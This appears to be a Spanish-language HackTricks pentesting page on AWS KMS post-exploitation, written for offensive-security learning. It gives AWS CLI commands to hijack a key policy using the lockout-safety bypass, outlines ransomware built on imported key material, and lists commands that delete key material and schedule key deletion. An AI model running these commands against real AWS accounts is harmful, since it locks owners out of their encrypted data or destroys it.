# AWS - KMS Post Explotación {{#include ../../../banners/hacktricks-training.md}} ## KMS Para más información, consulta: {{#ref}} ../aws-services/aws-kms-enum.md {{#endref}} ### Cifrar/Descifrar información `fileb://` y `file://` son esquemas URI utilizados en comandos de AWS CLI para especificar la ruta a archivos locales: - `fileb://:` Lee el archivo en modo binario, comúnmente utilizado para archivos no de texto. - `file://:` Lee el archivo en modo de texto, típicamente utilizado para archivos de texto plano, scripts o JSON que no tienen requisitos de codificación especiales. > [!TIP] > Ten en cuenta que si deseas descifrar algunos datos dentro de un archivo, el archivo debe contener los datos binarios, no datos codificados en base64. (fileb://) - Usando una **clave** simétrica ```bash # Encrypt data aws kms encrypt \ --key-id f0d3d719-b054-49ec-b515-4095b4777049 \ --plaintext fileb:///tmp/hello.txt \ --output text \ --query CiphertextBlob | base64 \ --decode > ExampleEncryptedFile # Decrypt data aws kms decrypt \ --ciphertext-blob fileb://ExampleEncryptedFile \ --key-id f0d3d719-b054-49ec-b515-4095b4777049 \ --output text \ --query Plaintext | base64 \ --decode ``` - Usando una **asymmetric** key: ```bash # Encrypt data aws kms encrypt \ --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ --encryption-algorithm RSAES_OAEP_SHA_256 \ --plaintext fileb:///tmp/hello.txt \ --output text \ --query CiphertextBlob | base64 \ --decode > ExampleEncryptedFile # Decrypt data aws kms decrypt \ --ciphertext-blob fileb://ExampleEncryptedFile \ --encryption-algorithm RSAES_OAEP_SHA_256 \ --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \ --output text \ --query Plaintext | base64 \ --decode ``` ### KMS Ransomware Un atacante con acceso privilegiado sobre KMS podría modificar la política de KMS de las claves y **otorgar acceso a su cuenta sobre ellas**, eliminando el acceso otorgado a la cuenta legítima. Entonces, los usuarios de la cuenta legítima no podrán acceder a ninguna información de ningún servicio que haya sido cifrado con esas claves, creando un ransomware fácil pero efectivo sobre la cuenta. > [!WARNING] > Tenga en cuenta que **las claves administradas por AWS no se ven afectadas** por este ataque, solo **las claves administradas por el cliente**. > También tenga en cuenta la necesidad de usar el parámetro **`--bypass-policy-lockout-safety-check`** (la falta de esta opción en la consola web hace que este ataque solo sea posible desde la CLI). ```bash # Force policy change aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ --policy-name default \ --policy file:///tmp/policy.yaml \ --bypass-policy-lockout-safety-check { "Id": "key-consolepolicy-3", "Version": "2012-10-17", "Statement": [ { "Sid": "Enable IAM User Permissions", "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam:::root" }, "Action": "kms:*", "Resource": "*" } ] } ``` > [!CAUTION] > Tenga en cuenta que si cambia esa política y solo da acceso a una cuenta externa, y luego desde esta cuenta externa intenta establecer una nueva política para **devolver el acceso a la cuenta original, no podrá hacerlo porque la acción Put Policy no se puede realizar desde una cuenta cruzada**.
### Ransomware KMS Genérico #### Ransomware KMS Global Hay otra forma de realizar un ransomware KMS global, que implicaría los siguientes pasos: - Crear una nueva **clave con un material de clave** importado por el atacante - **Reencriptar datos antiguos** encriptados con la versión anterior con la nueva. - **Eliminar la clave KMS** - Ahora solo el atacante, que tiene el material de clave original, podría ser capaz de desencriptar los datos encriptados ### Destruir claves ```bash # Destoy they key material previously imported making the key useless aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab # Schedule the destoy of a key (min wait time is 7 days) aws kms schedule-key-deletion \ --key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ --pending-window-in-days 7 ``` > [!CAUTION] > Tenga en cuenta que AWS ahora **previene que las acciones anteriores se realicen desde una cuenta cruzada:**
{{#include ../../../banners/hacktricks-training.md}}